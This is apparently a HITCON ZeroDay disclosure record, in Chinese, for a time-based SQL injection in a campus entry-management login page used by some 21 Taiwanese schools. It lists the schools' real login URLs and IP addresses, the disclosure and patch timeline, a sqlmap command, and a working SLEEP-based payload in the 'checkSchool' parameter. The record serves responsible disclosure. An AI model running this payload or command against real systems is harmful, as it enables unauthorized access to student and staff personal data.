多校校園出入管理系統 Time-Based SQL Injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00289
  •  發信 Vendor: 多個單位，如相關網址
  • Title: 多校校園出入管理系統 Time-Based SQL Injection
  • Introduction: 出入校園管理系統存在資料庫注入漏洞

處理狀態

目前狀態

公開
Last Update : 2026/04/08
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/02/10 18:17:55 : 新提交 (由 鄉民 更新此狀態)
  • 2026/02/10 18:19:23 : 新提交 (由 鄉民 更新此狀態)
  • 2026/02/10 18:20:10 : 新提交 (由 鄉民 更新此狀態)
  • 2026/02/10 18:27:46 : 新提交 (由 鄉民 更新此狀態)
  • 2026/02/23 19:50:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/02/26 18:57:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/02/26 18:57:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/02/26 18:57:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/02 15:26:25 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/04/04 13:49:06 : 確認已修補 (由 鄉民 更新此狀態)
  • 2026/04/08 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID：ZD-2026-00289
  • 通報者：鄉民
  • 風險：嚴重
  • 類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

桃園市立中壢家事商業高級中等學校
新北市私立淡江高級中學
天主教曉明女子高級中學
臺東縣私立公東高級工業職業學校
新竹市私立磐石高級中學
桃園市立中壢商業高級中等學校
嘉義市私立嘉華高級中學
臺中市青年高中
桃園市私立永平工商高級中等學校
彰化縣私立精誠高級中學
私立同德高級中等學校
新北市私立復興高級商工職業學校
私立大明高級中學
桃園市新興高級中等學校
花蓮縣私立海星高級中學
私立醒吾高級中學
新竹縣私立東泰高級中學
私立南強高級工商職業學校
桃園市私立光啟高級中學
桃園市立大園國際高級中等學校
桃園市世紀綠能工商高級中等學校

依上方所列學校順序
https://clhe.clvs.tyc.edu.tw/schoolclhe/login.php
https://entry.tksh.ntpc.edu.tw/schooltksh/login.php
https://ecard.smgsh.tc.edu.tw/schoolsmgsh/login.php
https://ecard.ktus.ttct.edu.tw/schoolktsh/login.php
http://163.32.59.22/schooldmhs/login.php
http://card.sphs.hc.edu.tw/schoolsphs/login.php
https://tapinout.clvsc.tyc.edu.tw/schoolclvsc/login.php
http://163.27.13.11/schoolchsh/login.php
https://att.youth.tc.edu.tw/schoolyouth/login.php
http://203.72.116.52/schoolypsh/login.php
https://ecard.cchs.chc.edu.tw:2790/schoolccsh/login.php
http://163.22.167.10/schooltdsh/login.php
https://ecard.fhvs.ntpc.edu.tw/schoolfhvs/login.php
http://203.71.154.7/schooltmsh_staff/login.php
https://ecard.hshs.tyc.edu.tw/schoolsshs/login.php
http://203.71.0.170/schoolsmhs/login.php
http://163.21.100.201/schoolswsh/login.php
http://163.19.91.224/schoolttsh/login.php
http://163.20.107.14/schoolncsh/login.php
http://210.71.74.5/schoolphsh/login.php
http://163.30.80.10/schooldysh/login.php
http://210.60.160.15/schoolckvs/login.php

敘述

SQL Map：

sqlmap -r rrr --dbs --batch --threads 8

Payload：

areaNO=114&checkSchool=1' AND (SELECT 8709 FROM (SELECT(SLEEP(5)))EeZB) AND 'KyEF'='KyEF&loginType=3&id=1&psd=1&Submit2=%E9%80%81%E5%87%BA&type=login_chk

結果如附圖

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
;